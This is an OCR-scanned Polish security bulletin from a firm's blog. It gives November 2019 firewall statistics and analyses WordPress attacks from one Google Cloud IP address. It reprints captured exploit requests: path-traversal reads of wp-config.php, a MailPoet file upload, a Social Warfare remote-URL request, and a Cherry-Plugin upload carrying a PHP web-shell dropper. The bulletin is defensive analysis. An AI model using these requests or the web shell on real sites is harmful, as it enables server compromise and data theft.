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Prezentujemy Wam drugi numer naszego nowego, S.M.S.-owego biuletynu bezpieczenstwa
komputerowego ,Z firewall’a wziete”.

Spis tresci

» Wstep

e Ogdlna analiza statystyczna incydentow
e Analiza przypadku wybranych zgtoszen
e Podsumowanie

e Poprzednie numery

Wstep

PrzygotowaliSmy dla Was drugi numer naszego biuletynu bezpieczenstwa komputerowego
,Z firewall’a wziete”. Znow macie mozliwos¢ zajrzenia do naszej infrastruktury

i przekonania sie z jakimi podatnosciami mierzymy sie codziennie. Zapraszamy rowniez

do zapoznania sie z pierwszym numerem biuletynu, gdzie opisujemy, dlaczego
postanowiliSmy stworzy¢ taki materiat.

Standardowo biuletyn sktada sie z 3 gtéwnych czesci - ogdlnej analizy statystycznej
incydentow w naszej infrastrukturze, analizy przypadku jednego z wybranych przez nas
zagrozen oraz podsumowania catego zebranego przez nas materiatu. Na koncu dodaliSmy
rowniez sekcje ,Poprzednie numery”, co pozwoli Ci tatwo znalez¢é wczes$niejsze wydania
biuletynu.

ChcielibySmy réwniez zachecic¢ naszych kolegow z branzy do przylaczenia sie do naszej
inicjatywy i wspotpracy przy tworzeniu kolejnych wydan biuletynu. Jesli masz pomyst jak
wykorzysta¢ Twdj potencjat, pomyst lub produkt w materiale serdecznie zapraszamy

do kontaktu mailowego w celu ustalenia szczego6téw: blog@s-m-s.pl.

Mamy nadzieje, ze zapoznanie sie z materiatem sprawi Ci tyle satysfakcji ile nam sprawito
jego przygotowanie. Zapraszamy rowniez do dyskusji na jego temat we wszystkich
dostepnych kanatach - sekcja komentarzy na naszym blogu, nasze profile w social mediach
(Facebook oraz Twitter) czy tez pod adresem mailowym: blog@s-m-s.pl. Kazda opinia na ten
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temat jest dla nas wazna i pomoze nam ulepszy¢ kolejne wydania biuletynu.

Mitej lektury!

Ogolna analiza statystyczna incydentow

W celu okreslenia skali i czestotliwosci wystepowania zdarzen w infrastrukturze najlepszym
bedzie przeanalizowanie dostepnych danych statystycznych. Dzieki takiemu zabiegowi
bedziemy mogli w sposéb kompleksowy przedstawi¢ kwestie cyberbezpieczenstwa naszej
infrastruktury. Na potrzeby przygotowania tej czesci materiatu wykorzystaliSmy technologie
umozliwiajgcq nam stale monitorowanie ruchu do naszych serweréw. Pozwolitlo nam

to wyszczegolnic¢ zdarzenia, ktore zostaly przedstawione ponize;j.

W listopadowym wydaniu biuletynu, podobnie jak w zesztym miesiacu, badaniu poddane
zostaly dane zebrane z wlasnych narzedzi stuzacych do administrowania ruchem do
serwerow. PrzeanalizowaliSmy dane za okres od 01.11.2019 do 30.11.2019. Do analizy
statystycznej uzyte zostaty takie parametry jak dzienna liczba zdarzen, najczesciej
wystepujace incydenty, podzial zagrozen ze wzgledu na rodzaj oraz potencjalng dotkliwos¢
zdarzenia.

W analizowanym okresie czasu doszto w sumie do 3.981 zdarzen. Natomiast dziennie
dochodzito srednio do 133 prob ingerencji w nasze systemy. Liczbe zdarzen wystepujacych
w kazdym dniu zesztego miesiaca obrazuje Wykres nr 1.
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Wykres nr 1 Liczba wykrytych zdarzen w listopadzie

W listopadzie liczba prob kompromitacji naszych serweréw utrzymywata sie na statym
poziomie. Dziennie wystepowato srednio okoto stu potencjalnych zagrozen w naszej
infrastrukturze. W tym miesigcu odnotowaliSmy dwa dni, w ktorych liczba prob
przeprowadzenia atakow gwaltownie wzrastata. Byly to 18.11 oraz 27.11. Ponizej
prezentujemy dwie tabele, w ktorych pokazaliSmy rodzaje zagrozen oraz liczbe takich
zdarzen w przeciaggu tych dwoch dni.
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_Zagrotenie ilogé zdarzed
HTTP SQL Injection Attempt | 527
UNIX Portmapper Remote Infomation 36
Retrieving Attempt
ZmEu Scanner Detection | 14
HTTP Mon RFC-Compliant Response Found 12
HTTP Directory Traversal Vulnerability | 6
WordPress Cuckootap Theme Arbitrary File 3
Download Vulnerability
Wordpress MailPoet Newsletters 3
Unauthenticated File Upload Vulnerability
OpenSSH AES-GCM Auth Remote Code 2
Execution Vulnerability
HTTP OPTIONS Method | 1
FTP: login Brute-force attempt 1

MailEnable IMAP Server Long Tag anomaly

l_l.

Tab. nr 1 Typy zdarzen oraz ich liczba w dn. 18.11.2019
I.

Zagroienie ilosc zdarzen
HTTP SQL Injection Attempt | 384

UNIX Portmapper Remote Infomation 19

Retrieving Attempt

HTTP Non RFC-Compliant Response Found | 17

HTTP OPTIONS Method B

HTTP Response Content Length Too Long 2

Invalid HTTP Version Found | 1

Tab. nr 2 Typy zdarzen oraz ich liczba w dn. 27.11.2019
.
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Standardowo, do najbardziej popularnych zagrozen, ktére udato sie nam odnotowaé nalezaty
HTTP SQL Injection Attempt oraz UNIX Portmapper Remote Infomation Retrieving Attempt.
Sa to dwie czesto wykorzystywane metody ataku, gdyz charakteryzuja sie niskim
skomplikowaniem, tatwoscig zastosowania oraz wysoka popularnoscia wsrod

cyberprzestepcow.
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Przedstawiamy Wam tez nasz Top19 zagrozen w listopadzie. Sa to najczesciej
wykorzystywane typy zagrozen, poprzez uzycie ktérych atakujacy prébowali
skompromitowac nasza infrastrukture. Ponizej tabela zagrozen wraz z liczba zdarzen.

Iagrodenie llodé rdarzed
HTTP 50L Injection Attempt 1001
UNIX Portmapper Remote Infornation 854
Retriewing Atternpt

DpenS5H AES-GCM Auth Remote Code 831
Executhen Yulnerability |

HTTP Mon REC-Cormpliant Respomnse Found 3E3
ImEu Scanner Detectlon ' 368
HTTP Unauthorized Brute-force Attack Ed
HTTP OPFTIONS Method B4
HTTP Directory Traversal Vulnerability 52
WordPress Cuckoatap Theme Arbitrary File | 44
Dovenload Vulnerabdlity

Wordpress MailPost Newsletters 1
Unauthenticated File Upload Yulnerabllity

DNS Zone Transfer AXFR Attempt ' 21
DS Tone Transfer AXFR Response i1
IF#I Cipher Zero Authentication Bypass 17
‘Vulnerability

OpenSSL TLS Malformed Heartbeat L
Reguast Found - Heartbleed

Insalid HTTP Version Fourd | 12
MailEnable IMAP Server Long Tag anomaly | i1
HTTP Response Content Length Too Long | 10
Bash Remote Code Execution Vulnerability |
FTP: login Brute-force atternpt ' 7

Tab. nr 3 Typy zdarzenie oraz ich liczba w

listopadzie

Wyzej wspominamy o pojeciu potencjalnej dotkliwosci zdarzenia. Jak sama nazwa wskazuje
jest to szacowany zakres szkdd jakie moze wyrzadzi¢ dana podatnos¢ w naszej
infrastrukturze o ile dojdzie do jej pomyslnego wykorzystania. Sama dotkliwo$¢ mozna

podzieli¢ na 5 réznych poziomow:

« Informacja - podejrzane zdarzenie, ktore nie stanowi bezposredniego zagrozenia,
ale poprzez samo jego zgltoszenie uwaga administratora moze zosta¢ zwrocona
na gtebsze problemy infrastruktury, ktore moga zaistnie¢ w przysztosci.
 Niska - najnizszy poziom dotkliwosci wymagajacy ostrzezenia. Zagrozenie ma znikomy


https://blog.s-m-s.pl/wp-content/uploads/2019/11/Zrzut-ekranu-2019-12-02-o-19.55.29.png

@@© Z firewall’a wziete czyli biuletyn bezpieczenstwa komputerowego
NO SYSTEM IS SAFE SMS Nr 2 11/19

wplyw na infrastrukture organizacji. Zazwyczaj wymagaja lokalnego badz fizycznego
dostepu do systemu i czesto moga powodowac problemy z prywatnoscia ofiary lub
problemy powiazane z DoS oraz mozliwy wyciek danych.

» Srednia - niewielkie zagrozenie, ktérego wplyw na infrastrukture jest minimalny.
Nastepstwem wykorzystania podatnosci z tej kategorii moga by¢ ataki typu DoS, ktére
nie zagrazaja celowi lub exploity, ktére od osoby atakujacej wymagaja przebywania
w tej samej sieci LAN co ofiara. Zagrozenia poziomu sredniego moga mie¢ wptyw
jedynie na niestandardowe konfiguracje oraz mato znane aplikacje. Zapewniaja
atakujacemu bardzo ograniczony dostep.

» Wysoka - zagrozenie, ktore potencjalnie moze stac sie krytycznym, jednak dzieki
wystepowaniu czynnikéw tagodzacych nie jest mozliwa jego eskalacja. Do kategorii
zagrozen poziomu wysokiego mozna zaliczy¢ zagrozenia, ktore sa trudne
do wykorzystania, nie daja podwyzszonych uprawnien lub sa w stanie dotkna¢ matej
ilosci ofiar.

» Krytyczna - zagrozenie powazne, ktore jest stanie dotkna¢ domyslnych instalacji
szeroko rozpowszechnionego oprogramowania. Skutkuje kompromitacja serwera,

a kod exploitacji jest powszechnie dostepny. Atakujacy zwykle nie potrzebuje zadnych
specjalnych danych uwierzytelniajacych ani wiedzy na temat poszczegolnych ofiar,

a cel nie musi by¢ zmanipulowany w celu wykonywania jakichkolwiek specjalnych
funkc;ji.

Na ponizszym wykresie przedstawiliSmy potencjalna dotkliwos¢ najpopularniejszych zdarzen
wystepujacych w badanym okresie.
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Wykres nr 2 Potencjalna dotkliwo$¢ najpopularniejszych zdarzen w badanym okresie.

Podobnie jak ostatnio chcieliSmy sprawdzi¢ z jakich krajow najczesciej pochodzity ataki. Aby
to zrobi¢ ponownie wykorzystaliSmy napisany przez nas program w bashu,

ktory identyfikowat adresy IP i przypisywat kazdemu z nich kraj ich pochodzenia,

a nastepnie je zliczal. W ten sposob otrzymalisSmy 195 unikalnych adreséow IP wraz z ich
krajem pochodzenia. Tym samym udato nam sie zidentyfikowac 29 krajow,

z ktérych probowano skompromitowac nasze ustugi. Wszystkie atakujace nas panstwa
pokazaliSmy na ponizszej mapie. Im ciemniejszy i bardziej nasycony kolor tym wiecej atakow
z danego miejsca odnotowaliSmy.
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Mapa 1 Kraje prébujace atakowac infrastrukture S.M.S. w badanym okresie

Analiza przypadku wybranych zgloszen

Zazwyczaj do analizy wybiera sie przypadki podatnosci na krytycznym poziomie lub takie,
ktore w jakis inny sposéb rzucaja sie nam w oczy. Pracujac w przesztosci z produktami firmy
Fidelis, zdobyliSmy doswiadczenie oraz pewnos¢, ze tego typu podatnosci zostang
zablokowane przez nasze systemy bezpieczenstwa. Natomiast realnym zagrozeniem, ktére
warte jest zwrdcenia uwagi sg podatnosci, ktore ,zaswiecity sie’ na zotto i trafity do naszej
sieci. Pomimo, ze podatnosci ktore zostaly zablokowane niosa za soba potencjalnie
najwieksze zagrozenie to dzieki odpowiednim zabezpieczeniom nie maja one duzego wptywu
na nasza infrastrukture. Zdecydowanie bardziej niebezpiecznym przeciwnikiem sa
podatnosci na nizszym poziomie, ktdre nie sa automatycznie blokowane przez system.
Nalezy wiec zwrdci¢ uwage na to, co jedynie odbito sie na firewall'u swoja obecnoscia, nie
budzac najmniejszych podejrzen w naszych systemach bezpieczenstwa.

W ten sposob tez w tym miesigcu wytypowaliSmy incydent bezpieczenstwa, a wlasciwie
grupe incydentow, ktérych analiza wydata nam sie o wiele bardziej interesujaca.


https://blog.s-m-s.pl/wp-content/uploads/2019/11/mapa-1.png
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Liczba incydentow, ktore zostaly przeanalizowane na potrzeby niniejszego biuletynu
wyniosta tacznie 42. Co ciekawsze, nie sa to ataki tylko jednego typu przy czym
ukierunkowane sa na jeden wektor, ktérym jest serwer WWW, a doktadnie aplikacje
webowe. Oprdcz wektora ataku, wspolnym mianownikiem dla powyzszych incydentow jest
rowniez adres IP atakujacego. Na dzien sporzadzania analizy niestety adres IP jest juz
nieaktywny, ale na szczescie zostalo nam troche nagranego ruchu sieciowego i z niego tez
udato sie nam wyciggnaé troche informacji. Oczywiscie nie bylibysSmy soba gdybysmy

w pierwszej kolejnosci nie sprawdzili pochodzenia adresu IP. I tym razem - oczywiscie
mamy nadzieje, ze w przysztych biuletynach znajdziemy tez takie smaczki - trafit sie nam
adres IP pochodzacy z klasy adresowej nalezacej do... Google. Takie odkrycie byto dla nas
niematym zaskoczeniem. Nie ukrywamy - nie spodziewaliSmy sie dziwnych, podejrzanych
zachowan z strony sieci Google. Ponizej prezentujemy dane dostepne dla zapytania whois
dla adresu intruza.
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IP Location
ASN

Resolve Host
Whois Server

IP Address

NetRange:
CIDR:
HetHame :
HetHandle:
Parent:
HetType:
CriginkS:
Crganization:
RegDate:
Updatced:
Ref:

OrgName :
CrgId:
Address:
Cicy:
StateProv:
PostalCode:
Country:
RegDate:
Updated:
Comment :
ID are in use
L
Comment :
Comment :
Comment :
Comment :
Comment :
Comment :
Comment :
Comment :
Comment :
Comment :
Comment :
Comment :
Comment :
Comment :
Ref:

CrgNOCHandle:
OrgNOCName :
CrgHNOCPhone :
CrgHOCEmail:
OrgNOCRef:
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[ United States Mountain View Google Llc

EA515169 GOOGLE - Google LLC, US (registered Mar 30, 2000)
101.6.67.34 bc googleusercontent.com

whois.arin.net

34.67.6.101

34 .64.
34.64.
GOOGL-2
HET-34-64-0-0-1

NET34 (NET-34-0-0-0-0)
Direct Allocation

Google LLC (GOOGL-2)

ap.arin.net/registry/ip/34.64.0.0

Google LLC

GOOGL-2

1600 Amphitheatre Parkway

Mountain View

CL

94043

Us

2006-09-29

2015-11-01

##% The IP addresses under this Org-
by Google Cloud customers

Direct all copyright and legal complaints to
https://support.google.com/legal/gao/report

Direct all spam and abuse complaints to
https://support.google.com/code/go/gece _abuse report

For fastest response, use the relewvant forms abowve.
Complaints can al=soc be sent to the GC Abuse desk

{ google-cloud-compliance@google.com

but may have longer turnaround times.

Complaints sent to any other POC will be ignored.
https://rdap.arin.nec/registry/encicy/GOOGL-2

GCABU-ARIN

GC Abuse

+1-650-253-0000
google-cloud-compliance@google.com

https://rdap.arin.net/registry/entity/GCABU-ARIN

CrghbuseHandle: GCABU-ARIN

CrghbuselName :

OrghbusePhone:
OrghbuseEmail:

Crghbus=seRef:

CrgTechHandle:

OrgTechName:
CrgTechPhone:
OrgTechEmail:
CrgTechRef:

GC Abuse
+1-650-253-0
google-cloud-compliance@google.com

https://rdap.arin.net/registry/entity/GCABU-ARIN

ZG39-ARIN

Google LLC

+1-650-253-0000

arin-contact@google.com
https://rdap.arin.net/registry/entity/ZG39-ARIN

S.M.S.Nr211/19


https://blog.s-m-s.pl/wp-content/uploads/2019/11/Przechwytywanie1.png

@@© Z firewall’a wziete czyli biuletyn bezpieczenstwa komputerowego
NO SYSTEM IS SAFE SMS Nr 2 11/19

Jak widzimy, adres nalezy do googlowskiej Content Delivery Network. Dla naszych mniej
technicznych czytelnikéw (oraz dla technicznych gwoli przypomnienia) wyjasniamy co kryje
sie za tym pojeciem. Content Delivery Network (w skrdécie CDN) jest to duzy, rozproszony
system dostarczania tresci do wielu centréw danych i punktow wymiany ruchu w Internecie.
Celem CDN jest udostepnianie zawartosci o wysokiej dostepnosci i wydajnosci
uzytkownikom konicowym (czyli podmiotom korzystajacym z takiej ustugi). Do sieci CDN
nalezy rowniez oferowany przez Google Cloud Platform. Jest to pakiet ustug w chmurze
dzialajacy w tej samej infrastrukturze, ktérej Google uzywa dla swoich ustug
przeznaczonych dla uzytkownikéw koncowych. Do takich ustug zaliczy¢ mozna
wyszukiwarke Google czy tez YouTube. Niegdys to tej samej sieci nalezata Picassa. Niegdys
byt to flagowy menadzer i przegladarka plikow graficznych w Google. Natomiast od 12
lutego 2016 roku Google poinformowato uzytkownikow o zaprzestaniu dalszego rozwoju
programu z dniem 15 marca 2016 w celu skupienia sie na ustudze Zdjecia Google.

Aby pozyska¢ wiecej danych bez wykonywania ofensywnych dziatan uciekamy sie do pomocy
portalu Shodan.io, czyli pierwszej na Swiecie wyszukiwarki dla urzadzen sieciowych.
Pierwsza czes¢ informacji, ktére mozna znalez¢ na shodanie, to dane o kraju pochodzenia,
ISP, organizacji ktora jest wtascicielem lub jaki revdns ma dany adres IP. Te same
informacje znajdujemy w bazie whois, jednakze shodan przekazuje je nam w postaci o wiele
czytelniejszej.

A 34.67.6.101 i R Dt
Country United States
Organization Google Cloud
ISP Google Cloud
Last Update 2019-11-15T01:02:06.576260
Hostnames 101.6.67.34.bc. poogleusercontent.com

Zanim przejdziemy do kolejnej czesci danych dostepnych na shodanie, warto przyjrzec sie
temu co ustaliliSmy juz do tej pory. Méwmy o adresie IP nalezacym do puli adresowej
Google. Serwer ktory, wszelakie ewentualne certyfikaty oraz dziatania powinien mie¢
zwigzane stricte z Google.
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Kolejna czescia danych dostepna na shodanie jest listing otwartych portéw oraz protokotow
powigzanych z nimi. W tym przypadku dostepny byt tylko jeden port, a na nim protokét RDP
- czyli Remote Desktop Protocol, prosciej méwiac, zdalny pulpit, za pomoca ktérego mozna

sterowac zdalnie komputerem.
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3 (ex2)
Serial HNumber:
3b:3b:4e:9b:5d:88:d4:9b:47:c7:58:75:bciba:TH: 99
Signature Algorithm: sha2SeWithRSAEncryption
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Czego mozemy sie dowiedzie¢ z powyzszego screena? Pierwsza rzecza na ktora nalezy
zwrdcié, to data wygenerowania certyfikatu. Jest to 10.11.2019 11:50 GMT, a wiec jest

to 12:50 czasu polskiego. Widzimy tez, ze parametr CN (Common Name) ma wartos¢
,hridoy”. Zazwyczaj podczas generowania certyfikatu przybiera on wartos¢ hostname danej
maszyny.

Pierwszy raz kiedy zarejestrowaliSmy ruch z tego serwera to 10.11.2019 11:01:00, a ostatni
kontakt z nasza siecig odbyt sie 14.11.2019 7:41:50. Wynika z tego, ze catkowity czas
incydentu to nie cate 4 dni. W ciggu tych czterech dni mozemy réowniez 3 wyrazne okresy
aktywnosci atakujacego:

1. 11.11.2019 00:45:18 - 11.11.2019 3:15:36
2. 12.11.2019 14:20:35 - 12.11.2019 22:53:53
3. 13.11.2019 09:11:56 - 13.11.2019 21:13:37

Ostatni raz, maszyna zostata zarejestrowana przez shodan o 1:02:06 15.11.2019, po tym
czasie nie zarejestrowaliSmy tez aktywnosci tego adresu na naszym firewallu. Czas ten
uznajemy za orientacyjny EOL (End of Life) tej maszyny.

Przez te cztery dni w réznych odstepach czasowych zostaly zarejestrowane proby
wykorzystania miedzy innymi takich podatnosci jak:
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POST /wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.1

Host:

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Mozilla/5.@ (X11; Ubuntu; Linux i1686; rv:28.8) Gecko/20108101 Firefox/28.0
Content-Length: 34@2

Content-Type: multipart/form-data; boundary=436697d816bed69ddedf59cfa97a715f

--436697d016bed69d4edf59cf9978715F
Content-Disposition: form-data; name="action"

themeupload
--436697d@16be@69d4edf59cf9970715F
Content-Disposition: form-data; name="submitter”

Upload
--436697de16beB69d4edf59cfoa7a715f
Content-Disposition: form-data; name="overwriteexistingtheme"

on
--436697d@16be@69d4edf50cfO070715F
Content-Disposition: form-data; name="page"

GZNeFLoZAb
--436697d@16bed6dd4edf59cf9970715F
Content-Disposition: form-data; name="my-theme"”; filename="rock.zip”

W (40 e e e T L.S372..
.q...(*S..4

WordPress MailPoet Newsletters Unauthenticated File Upload Vulnerability.
Wtyczka WordPress ,MailPoet Newletters” jest podatna na luke polegajaca na przesytaniu
plikow podczas analizowania niektorych spreparowanych zadan HTTP. Luka

w zabezpieczeniach wynika z braku odpowiedniej kontroli podczas obstugi funkcji
przesytania motywu. Nieuwierzytelniony atakujacy moze wykorzysta¢ luke

w zabezpieczeniach, wysylajac spreparowane zadanie HTTP w celu przestania ztosliwych
plikow zip. Pomyslny atak moze doprowadzi¢ do zdalnego wykonania kodu z uprawnieniami
serwera.

GET /wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=../../../../../wp-config.php HTTP/1.1
Host: vanr . N1

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Mozilla/5.@ (X11; Ubuntu; Linux i686; rv:28.8) Gecko/20180101 Firefox/28.0

HTTP/1.1 3@1 Moved Permanently

Date: Wed, 13 Nov 20819 28:02:07 GMT

Server: Apache/2.4.25 (Debian) mod_fcgid/2.3.9 OpenS5L/1.8.2s
Expires: Wed, 11 Jan 1984 85:88:08 GMT

Cache-Control: no-cac t-revalidate, max-age=0
Location: http:/ wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=../../../../. . /wp-
config.php

Content-Length: @
Connection: close
Content-Type: text/html; charset=UTF-38

HTTP Directory Traversal Vulnerability. Luka w zabezpieczeniach zwiazana z przejsciem
przez katalog podczas analizowania Zle sformutowanych zadan HTTP. Ta usterka wynika
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z braku odpowiedniej kontroli w zadaniu HTTP URI. Pomyslny atak moze zapewnié¢
atakujacemu dostep do poufnych informacji, ktére moga dodatkowo zosta¢ wykorzystane
podczas przeprowadzania innych atakow.

GET /wp-admin/admin-ajax.php?action=revslider show_ imagefimg=../wp-config.php HTTP/1.1
Host:

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux i686; rv:28.8) Gecko/28188181 Firefox/28.8

WordPress Cuckootap Theme Arbitrary File Download Vulnerability. Worpress jest
podatny na luke pobierania dowolnego pliku podczas analizowania niektorych
spreparowanych zadan HTTP. Luka w zabezpieczeniach wystepuje w motywie Cuckootap,
ktéry umozliwia pobieranie dowolnych plikdw. Osoba atakujaca moze wykorzystac luke

w zabezpieczeniach, wysylajac spreparowane zadanie http z sekwencja przejscia katalogu
w parametrach. Pomyslny atak moze doprowadzi¢ do ujawnienia poufnych danych plikow.

Po wykryciu dziatalnosci intruza caly jego ruch przekierowaliSmy do osobnego serwera
nazywanego przez nas ,Black Gate”. Zadaniem tego serwera jest imitowac ustugi dostepne
na atakowanym serwerze w rejestrowanym, izolowanym srodowisku, gdzie niejednokrotnie
pomagamy w kompromitacji w celu przechwycenia jak najwiekszej ilosci informacji. Wiecej
o ,Black Gate” napiszemy wkrétce. Ponizej zaprezentujemy wyniki obserwacji:

GET /wp-admin/admin-post.php?swp_debug=load options&swp_url=https://hastebin. curr..f'r*a'.-.',-"-TTP..-"l .1
Host:

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux i686; rv:2B.8) Gecko/20180101 Firefox/28.8

Wsrdd wtyczek WordPress pojawita sie nowa luka zero day, ktéra dotyczy ponad 70 000
witryn korzystajacych z wtyczki Social Warfare. Wtyczka jest podatna na luke Stored XSS
(Cross-Site Scripting) i zostala usunieta z repozytorium wtyczek. Ataki moga by¢
przeprowadzane przez wszystkich uzytkownikdw odwiedzajacych witryne. Wiecej na temat
tej podatnosci mozecie znaleZ¢ tutaj: https://nvd.nist.gov/vuln/detail/CVE-2019-9978

W tym miejscu warto zauwazy¢, ze o ile inne podatnosci byly wykryte kilka dobrych lat temu
to ta jest nowa. Tym samym sugeruje to, ze botnet byt aktualny, a atakujacy musiat

na biezaco aktualizowaé kod. Zaréwno luka jak i exploit zostaly wykryte/opracowane

w marcu tego roku.
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POST /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1

.
Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Mozilla/5.@ (X11; Ubuntu; Linux i686; rv:28.8) Gecko/281801@1 Firefox/28.8
Content-Length: 1512

Content-Type: multipart/form-data; boundary=5a748@ecfcce5as4f7lacddadabled33a

--5a748@ecfcce5adf7lab4dadabled3a
Content-Disposition: form-data; name="file"; filename="files/settings_auto.php”
Content-Type: multipart/form-data

<titlexVuln!! patch it Now!</title>
<?php
function http_get($url){
$im = curl_init($url);
curl_setopt(%im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 18);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, @);
return curl_exec($im);
curl_close(%im);
}
$s = "<titlexVuln!! patch it Now!</title><?php echo \'<form action="" method="post" enctype="multipart/form-data™ name="uploader™ id="uploader”:>\';echo
N\'<input type="file" name="file" size="5@8"><input name="_upl” type="submit™ id="_upl" wvalue="Upload"></form>\';if( $_POST["_upl"] == "Upload" )
{if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { echo “<b>Shell Uploaded ! :)<b><br:<br:"; }else { echo “<b>Not uploaded ! </
bx<brx<br>"; }}2>';
$check = $_SERVER[ 'DOCUMENT_ROOT'] . “/wp-content/vuln.php”;
Stext = §s;
fopen = fopen(%$check, 'w');
fwrite($open, $text);
fclose(%open);
if(file_exists($check)){
echo $check."</br>";
}else
echo "not exits";
echo "done .\n " ;

Zcheck? = $_SERVER['DOCUMENT _ROOT'] . "/vuln.htm" ;
$text2 = "Vuln!! patch it Now!';
$open2 = fopen(%check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."</br:";

}else

echo "not exits";
echo "done .\n " ;

@unlink(_ FILE_ );
>

WordPress (CMS) Cherry-Plugin Arbitrary File Upload RCE. Wtyczka WordPress

o nazwie ,Cherry Plugin” ma luke, ktéra umozliwia osobie atakujacej przesytanie plikow
bezposrednio na serwer. Pliki te moga by¢ nastepnie wykonane przez atakujacego zdalnie
w celu wykonania kodu lub wykonania innych ztosliwych dziatan. Expoitacje

z wykorzytsaniem tej podatnosci mozna podzieli¢ na dwa etapy: 1. Atakujacy wysyta zadanie
POST do ,wp-content/plugins/cherry-plugin/admin/import-export/upload.php”, a nastepnie
2. Atakujacy moze uzyskac dostep do pliku na stronie ,wp-content/plugins/cherry-
plugin/admin/import-export/<malware file>". Zaprezentowanie tej podatnosci jest o tyle
kluczowe, zZe jasno zaprezentowang mamy tres¢ pliku, ktéry intruz probowat wprowadzié

na serwer. Prawdopodobnie ten sam plik znajdowat sie w pliku rock.zip.
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Podsumowanie

W dzisiejszym materiale zaprezentowaliSmy pobiezne studium kilku przypadkow. Tym razem
wspolnym mianownikiem nie byta wykorzystywana podatnosc (chociaz wektor ataku byt ten
sam), a wspdlne zrddto atakéw. Juz w trakcie przygotowania niniejszego materiatu
zauwazyliSmy ruch o podobnym schemacie/przebiegu, jednakze w zwigzku z wieloma
podobienstwami postanowiliSmy je pominac. Jak wida¢ na powyzszych przyktadach botnety
uzywaja nie tylko starych bledéw w oprogramowaniu, ale tez korzystaja z tych
pojawiajacych na biezaco i sg regularnie aktualizowane. Waznym elementem w obronie
przed ich dziatalnoscia sa czeste i skrupulatnie aktualizacje naszych webaplikacji oraz staty
monitoring infrastruktury. Podczas przeprowadzania badania i analizy w listopadzie
ponownie zadne z wykorzystywanych podatnosci czy tez zagrozen nie wplynely na ciagtosé
dziatania naszych systeméw, a proby kazdego ataku zostaly skutecznie odparte.

Poprzednie numery
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